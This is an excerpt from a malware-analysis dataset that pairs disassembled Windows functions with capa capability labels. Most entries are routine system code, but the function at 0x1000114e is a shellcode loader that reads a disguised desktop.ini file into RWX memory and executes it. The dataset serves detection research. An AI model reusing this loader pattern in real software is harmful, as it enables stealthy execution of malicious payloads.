joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40480d
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp - 0x34]
inc edi
push edi
push 0x55
push 0x40118c
call fcn.0040facc
xor eax, eax
mov esi, 0x4040b8
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
cmp dword [ebp - 4], edi
jbe 0x404884
push 0x401198
push dword [ebx + edi*4]
mov edx, 0x4011a0
lea ecx, [ebp - 0x10]
call fcn.00411f23
mov esi, eax
mov dword [ebp - 0x34], esi
push 0x61
pop eax
test esi, esi
js 0x4048de
inc edi
mov word [ebp - 0x30], ax
cmp edi, dword [ebp - 4]
jb 0x404856
mov esi, dword [ebp - 0x10]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
mov esi, eax
mov dword [ebp - 0x34], esi
push 0x63
pop eax
test esi, esi
js 0x4048de
mov edx, dword [ebp - 4]
mov ecx, ebx
mov word [ebp - 0x30], ax
call fcn.00404ad0
mov esi, eax
mov dword [ebp - 0x34], esi
push 0x65
pop eax
test esi, esi
js 0x4048de
mov word [ebp - 0x30], ax
test ebx, ebx
je 0x4048c5
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x10]
call fcn.00411683
lea ecx, [ebp - 0x34]
call fcn.0040fbc2
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov word [ebp - 0x2e], ax
jmp 0x4048b7

Function at 0x4051af
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
push 1
push 0x1ac
mov esi, ecx
mov edi, edx
push 0x402f74
lea ecx, [ebp - 0x24]
call fcn.0040facc
cmp dword [ebp + 8], 0xffff
mov eax, 0x1b0
jbe 0x4051ed
mov esi, 0x80070057
mov dword [ebp - 0x24], esi
mov word [ebp - 0x1e], ax
jmp 0x405243
mov word [ebp - 0x20], ax
mov eax, 0x1b1
test esi, esi
je 0x4051df
and dword [ebp - 0x24], 0
push 0
mov word [ebp - 0x20], ax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x405240
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x40522e
movzx esi, si
or esi, 0x80070000
mov dword [ebp - 0x24], esi
mov eax, 0x1b7
test esi, esi
js 0x4051e7
mov word [ebp - 0x20], ax
jmp 0x405243
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x24]
call fcn.0040fbc2
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x4053cb
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x414004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 1
push 0x211
mov esi, ecx
mov edi, edx
push 0x402fa4
lea ecx, [ebp - 0x23c]
call fcn.0040facc
xor eax, eax
mov dword [ebp - 0x248], 0x4040b8
xor ebx, ebx
mov word [ebp - 0x218], ax
push 0x208
lea eax, [ebp - 0x216]
mov dword [ebp - 0x244], ebx
push ebx
push eax
mov dword [ebp - 0x240], ebx
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0x216
test esi, esi
jne 0x40544e
mov esi, 0x80070057
mov word [ebp - 0x236], ax
jmp 0x405546
mov word [ebp - 0x238], ax
test edi, edi
jne 0x405460
mov eax, 0x217
jmp 0x40543d
mov eax, 0x218
mov dword [ebp - 0x23c], ebx
lea ecx, [ebp - 0x248]
mov word [ebp - 0x238], ax
call fcn.00411870
mov edx, esi
lea ecx, [ebp - 0x248]
call fcn.00411ed5
mov esi, eax
mov eax, 0x21b
mov dword [ebp - 0x23c], esi
test esi, esi
jns 0x4054a7
mov word [ebp - 0x236], ax
jmp 0x40554c
mov word [ebp - 0x238], ax
mov eax, 0x21c
cmp dword [ebp - 0x244], ebx
je 0x40543d
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x23c], ebx
mov word [ebp - 0x238], ax
call fcn.004120f7
mov esi, eax
mov eax, 0x21f
mov dword [ebp - 0x23c], esi
test esi, esi
js 0x40549b
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
mov word [ebp - 0x238], ax
lea eax, [ebp - 0x218]
push 0x105
push eax
push dword [ebp - 0x248]
call esi
test eax, eax
mov eax, 0x226
jne 0x405518
mov esi, 0x80004005
jmp 0x405442
push 0x105
mov word [ebp - 0x238], ax
lea eax, [ebp - 0x218]
push edi
push eax
mov dword [ebp - 0x23c], ebx
call esi
test eax, eax
mov eax, 0x22b
je 0x40550e
mov esi, ebx
mov word [ebp - 0x238], ax
mov dword [ebp - 0x23c], esi
lea ecx, [ebp - 0x248]
call fcn.00411683
lea ecx, [ebp - 0x23c]
call fcn.0040fbc2
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004129cd
mov esp, ebp
pop ebp
ret 4
Function at 0x408c33
Capabilities:
Get file system object information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x500
mov eax, dword [0x414004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 1
push 0xca
mov esi, ecx
mov edi, edx
push 0x403440
lea ecx, [ebp - 0x500]
call fcn.0040facc
xor ebx, ebx
lea eax, [ebp - 0x2c0]
push 0x2b0
push ebx
push eax
mov dword [ebp - 0x2c4], ebx
call sub.msvcrt.dll_memset
push 0x214
lea eax, [ebp - 0x4d8]
mov dword [ebp - 0x4dc], ebx
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0x18
test edi, edi
je 0x408ca1
mov dword [edi], ebx
mov eax, 0xd4
test esi, esi
jne 0x408cc1
mov esi, 0x80070057
mov dword [ebp - 0x500], esi
mov word [ebp - 0x4fa], ax
jmp 0x408d57
mov word [ebp - 0x4fc], ax
mov eax, 0xd5
test edi, edi
je 0x408caa
push 0x101
push 0x2b4
mov word [ebp - 0x4fc], ax
lea eax, [ebp - 0x2c4]
push eax
push ebx
push esi
mov dword [ebp - 0x500], ebx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
jne 0x408d43
lea eax, [ebp - 0x4dc]
mov dword [ebp - 0x4dc], 0x218
push eax
push 0x101
push 8
call dword [sym.imp.SHELL32.dll_SHGetStockIconInfo]
mov esi, eax
mov eax, 0xe2
mov dword [ebp - 0x500], esi
test esi, esi
jns 0x408d34
mov esi, 0x80004005
jmp 0x408caf
mov word [ebp - 0x4fc], ax
mov eax, dword [ebp - 0x4d8]
jmp 0x408d4f
mov eax, dword [ebp - 0x2c4]
mov esi, dword [ebp - 0x500]
mov dword [edi], eax
mov dword [ebp - 0x2c4], ebx
cmp dword [ebp - 0x2c4], ebx
je 0x408d77
push dword [ebp - 0x2c4]
call dword [sym.imp.USER32.dll_DestroyIcon]
mov esi, dword [ebp - 0x500]
mov dword [ebp - 0x2c4], ebx
lea ecx, [ebp - 0x500]
call fcn.0040fbc2
mov ecx, dword [ebp - 8]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004129cd
mov esp, ebp
pop ebp
ret 4
Function at 0x410613
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
mov edi, ecx
mov eax, dword [0x414064]
cmp eax, 0x414064
je 0x410648
test dword [eax + 0x1c], 0x20000000
je 0x410648
push dword [eax + 0x14]
mov edx, 0x403f74
push dword [eax + 0x10]
push 0x14
pop ecx
call fcn.00408a5f
push 1
push 0x1bb
push 0x403efc
lea ecx, [ebp - 0x3c]
call fcn.0040facc
xor ebx, ebx
mov eax, 0x4040b8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
test edi, edi
jne 0x410688
mov esi, 0x80070057
mov eax, 0x1c3
jmp 0x4107e3
mov eax, 0x1c4
mov dword [ebp - 0x3c], ebx
mov ecx, edi
mov word [ebp - 0x38], ax
call fcn.004103c8
push 0x403f6c
push ebx
push edi
lea eax, [ebp - 0xc]
push 0x403ed0
push eax
call fcn.00411a78
mov esi, eax
add esp, 0x14
mov dword [ebp - 0x3c], esi
mov eax, 0x1cb
test esi, esi
js 0x4107e6
push dword [ebp - 0xc]
mov word [ebp - 0x38], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4106fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x4106e7
cmp eax, 3
jne 0x4106fa
mov esi, ebx
mov eax, 0x1d3
mov dword [ebp - 0x3c], esi
mov word [ebp - 0x38], ax
jmp 0x4107ea
push 0x403f6c
push 4
pop ebx
push ebx
push edi
lea eax, [ebp - 0xc]
push 0x403ed0
push eax
call fcn.00411a78
mov esi, eax
add esp, 0x14
mov dword [ebp - 0x3c], esi
mov eax, 0x1d8
test esi, esi
js 0x4107e6
push dword [ebp - 0xc]
mov word [ebp - 0x38], ax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x403f6c
lea eax, [ebx - 1]
push eax
push edi
lea eax, [ebp - 0x18]
push 0x403ed0
push eax
call fcn.00411a78
mov esi, eax
add esp, 0x14
mov dword [ebp - 0x3c], esi
mov eax, 0x1df
test esi, esi
js 0x4107e6
push 1
push dword [ebp - 0xc]
mov word [ebp - 0x38], ax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x41079b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 2
je 0x41078e
cmp esi, 0x20
je 0x41078e
cmp esi, 5
jne 0x4107d1
and dword [ebp - 0x3c], 0
mov eax, 0x1ec
mov word [ebp - 0x38], ax
mov ecx, dword [ebp - 0xc]
call fcn.004102da
lea ecx, [ebp - 0xc]
call fcn.00411870
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 0xc]
call fcn.00411ed5
mov esi, eax
mov eax, 0x1f3
mov dword [ebp - 0x3c], esi
test esi, esi
js 0x4107e6
mov word [ebp - 0x38], ax
dec ebx
jne 0x410734
jmp 0x4107ea
test esi, esi
jle 0x4107de
movzx esi, si
or esi, 0x80070000
mov eax, 0x1ec
mov dword [ebp - 0x3c], esi
mov word [ebp - 0x36], ax
lea ecx, [ebp - 0xc]
call fcn.00411683
lea ecx, [ebp - 0x18]
call fcn.00411683
lea ecx, [ebp - 0x3c]
call fcn.0040fbc2
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410d9c
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
push 1
mov esi, ecx
lea ecx, [ebp - 0x2c]
push 0x70d
push 0x403f84
mov dword [ebp - 8], esi
call fcn.0040facc
xor eax, eax
push eax
push eax
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ebx, eax
test ebx, ebx
jne 0x410de8
call fcn.00410d32
mov ecx, 0x718
mov dword [ebp - 0x2c], eax
mov word [ebp - 0x26], cx
jmp 0x410f1f
xor eax, eax
mov ecx, esi
mov dword [ebp - 0x2c], eax
xor esi, esi
mov eax, 0x718
mov word [ebp - 0x28], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x410dfd
sub ecx, edx
lea eax, [ebx + 2]
sar ecx, 1
add eax, ecx
mov dword [ebp - 4], eax
add eax, eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
jne 0x410e30
mov eax, 0x8007000e
mov ecx, 0x71e
jmp 0x410ddc
xor eax, eax
mov dword [ebp - 0x2c], eax
mov eax, 0x71e
push ebx
push esi
mov word [ebp - 0x28], ax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x410e60
call fcn.00410d32
mov dword [ebp - 0x2c], eax
mov eax, 0x721
mov word [ebp - 0x26], ax
jmp 0x410f11
mov ecx, 0x721
cmp eax, ebx
mov word [ebp - 0x28], cx
lea eax, [ecx + 1]
jb 0x410e79
mov dword [ebp - 0x2c], 0x8007006f
jmp 0x410e57
mov ecx, esi
mov word [ebp - 0x28], ax
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x410e87
mov ebx, dword [ebp - 4]
sub ecx, edx
sar ecx, 1
push 0x5c
pop eax
cmp ax, word [esi + ecx*2 - 2]
je 0x410ec1
push 0x4010b0
mov edx, ebx
mov ecx, esi
call fcn.00410f3e
mov dword [ebp - 0x2c], eax
test eax, eax
mov eax, 0x726
js 0x410e57
mov word [ebp - 0x28], ax
push dword [ebp - 8]
mov edx, ebx
mov ecx, esi
call fcn.00410f3e
mov dword [ebp - 0x2c], eax
test eax, eax
mov eax, 0x729
js 0x410e57
push 2
xor ebx, ebx
mov word [ebp - 0x28], ax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x410f05
call fcn.00410d32
mov dword [ebp - 0x2c], eax
mov eax, 0x72c
jmp 0x410e57
mov eax, 0x72c
mov dword [ebp - 0x2c], ebx
mov word [ebp - 0x28], ax
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
test edi, edi
jne 0x410f26
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 0x2c]
call fcn.0040fbc2
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x410fe7
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
push 2
push 0x21
mov esi, ecx
lea ecx, [ebp - 0x30]
push 0x403fb0
call fcn.0040facc
mov edi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
test edi, edi
je 0x411019
mov dword [edi], ebx
push 0x2a
pop eax
mov word [ebp - 0x2c], ax
push 0x2b
pop eax
test edi, edi
jne 0x411035
mov esi, 0x80070057
mov word [ebp - 0x2a], ax
jmp 0x4110b8
mov word [ebp - 0x2c], ax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x30], ebx
push eax
lea eax, [ebp - 8]
mov dword [ebp - 4], 4
push eax
push ebx
push 0x40127c
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
jle 0x41106b
movzx esi, si
or esi, 0x80070000
mov dword [ebp - 0x30], esi
push 0x34
pop eax
test esi, esi
jns 0x411082
mov word [ebp - 0x2a], ax
mov dword [ebp - 0x28], 1
jmp 0x4110bb
cmp dword [ebp - 8], 4
push 0x36
mov word [ebp - 0x2c], ax
pop eax
je 0x411096
mov esi, 0x8007065d
jmp 0x41102c
cmp dword [ebp - 4], 4
mov word [ebp - 0x2c], ax
je 0x4110aa
push 0x37
mov esi, 0x80004005
pop eax
jmp 0x41102c
mov eax, dword [ebp - 0xc]
mov esi, ebx
push 0x3b
mov dword [edi], eax
pop eax
mov word [ebp - 0x2c], ax
mov dword [ebp - 0x30], esi
lea ecx, [ebp - 0x30]
call fcn.0040fbc2
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4124f1
Capabilities:
Create process on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
mov edi, ecx
mov eax, dword [0x414064]
cmp eax, 0x414064
je 0x412526
test dword [eax + 0x1c], 0x20000000
je 0x412526
push dword [eax + 0x14]
mov edx, 0x40415c
push dword [eax + 0x10]
push 0x11
pop ecx
call fcn.00408a5f
push 1
push 0x56a
push 0x404134
lea ecx, [ebp - 0x3c]
call fcn.0040facc
xor ebx, ebx
mov eax, 0x4040b8
push 0x38
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x74]
push ebx
push eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x78], ebx
call sub.msvcrt.dll_memset
mov eax, 0x570
add esp, 0xc
mov word [ebp - 0x38], ax
inc eax
cmp dword [ebp + 0xc], ebx
jne 0x412585
mov esi, 0x80070057
mov dword [ebp - 0x3c], esi
mov word [ebp - 0x36], ax
jmp 0x412672
mov edx, 0x4036d0
mov dword [ebp - 0x3c], ebx
lea ecx, [ebp - 0xc]
mov word [ebp - 0x38], ax
call fcn.00412177
mov esi, eax
mov eax, 0x573
mov dword [ebp - 0x3c], esi
test esi, esi
js 0x41257c
push dword [ebp + 0xc]
mov edx, 0x402f70
mov word [ebp - 0x38], ax
lea ecx, [ebp - 0x18]
call fcn.00411df7
mov esi, eax
mov eax, 0x575
mov dword [ebp - 0x3c], esi
test esi, esi
js 0x41257c
mov word [ebp - 0x38], ax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x70], edi
xor edi, edi
mov dword [ebp - 0x64], eax
inc edi
lea eax, [ebp - 0x78]
mov dword [ebp - 0x74], 0x540
push eax
mov dword [ebp - 0x78], 0x3c
mov dword [ebp - 0x6c], 0x404150
mov dword [ebp - 0x5c], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x41266f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x41261a
movzx esi, si
or esi, 0x80070000
mov dword [ebp - 0x3c], esi
mov eax, dword [0x414064]
cmp eax, 0x414064
je 0x412649
test dword [eax + 0x1c], 0x200
je 0x412649
push esi
push dword [eax + 0x14]
mov edx, 0x40415c
push dword [eax + 0x10]
push 0x12
pop ecx
call fcn.0040f915
mov esi, dword [ebp - 0x3c]
cmp esi, 0x800704c7
jne 0x412661
mov esi, edi
mov eax, 0x58a
mov dword [ebp - 0x3c], esi
mov word [ebp - 0x38], ax
jmp 0x412672
mov eax, 0x58e
test esi, esi
jns 0x41265b
jmp 0x41257c
mov esi, dword [ebp - 0x3c]
cmp dword [ebp - 0x40], ebx
je 0x412686
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x40], ebx
lea ecx, [ebp - 0xc]
call fcn.00411683
lea ecx, [ebp - 0x18]
call fcn.00411683
lea ecx, [ebp - 0x3c]
call fcn.0040fbc2
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4127ac
Capabilities:
Terminate process

Disassembly:
call fcn.00412c68
jmp 0x4127bb
push 0x58
push 0x412fa8
call fcn.00412d3c
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov edi, dword [eax + 4]
mov esi, ebx
mov edx, 0x41450c
mov ecx, edi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x41280a
cmp eax, edi
jne 0x41281d
xor esi, esi
inc esi
cmp dword [0x414510], 1
jne 0x41282a
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x412860
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4127f2
cmp dword [0x414510], ebx
jne 0x412856
mov dword [0x414510], 1
push 0x40101c
push 0x401010
call fcn.004129a4
pop ecx
pop ecx
test eax, eax
je 0x412860
jmp 0x41298d
mov dword [0x4140c4], 1
cmp dword [0x414510], 1
jne 0x412884
push 0x40100c
push 0x401004
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x414510], 2
test esi, esi
jne 0x412891
xor eax, eax
mov ecx, 0x41450c
xchg dword [ecx], eax
cmp dword [0x414514], 0
je 0x4128b3
push 0x414514
call fcn.00412b60
pop ecx
test eax, eax
je 0x4128b3
push ebx
push 2
push ebx
call dword [0x414514]
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x1c], esi
mov edi, dword [ebp - 0x20]
mov cl, byte [esi]
cmp cl, 0x20
ja 0x412910
test cl, cl
je 0x4128cf
test edi, edi
jne 0x412910
mov al, byte [esi]
test al, al
je 0x4128df
cmp al, 0x20
ja 0x4128df
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x4128cf
test byte [ebp - 0x3c], 1
je 0x4128eb
movzx eax, word [ebp - 0x38]
jmp 0x4128ee
push 0xa
pop eax
push eax
push esi
push ebx
push 0x400000
call main
mov dword [0x4140c0], eax
cmp dword [0x4140d8], 0
jne 0x412969
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp cl, 0x22
jne 0x412921
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [ebp - 0x20], edi
movzx eax, cl
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x412934
inc esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x4128c0
cmp dword [0x4140c4], 0
jne 0x41297d
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x4140c0]
mov dword [ebp - 4], 0xfffffffe
jmp 0x412999
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00412d81
ret

Function at 0x412a53
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x412fd0
call fcn.00412d3c
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x412ab3
cmp eax, 0xffffffff
je 0x412ab3
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x412aac
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x412aac
cmp edx, 0x10000000
jae 0x412aac
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x412aa9
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.00412d81
ret 4
Function at 0x412b10
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x412b4e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x412b46
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x412b50
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x412b36
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x412c30
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x412c46
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x412c61
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x40cf30
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x5036e8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x40cfb7
test ebx, ebx
je 0x40cfb7
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x40cfb7
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x40cfb7
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40cfb1
push esi
push ebx
push edi
call fcn.00498620
add esp, 0xc
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40cfb1
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004779e3
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004779e3
mov esp, ebp
pop ebp
ret

Function at 0x40cfd0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40d029
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40d029
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x40d01a
cmp esi, edx
jae 0x40d029
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x40d008
cmp esi, edx
jae 0x40d029
cmp word [esi], 0
je 0x40d029
mov eax, esi
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret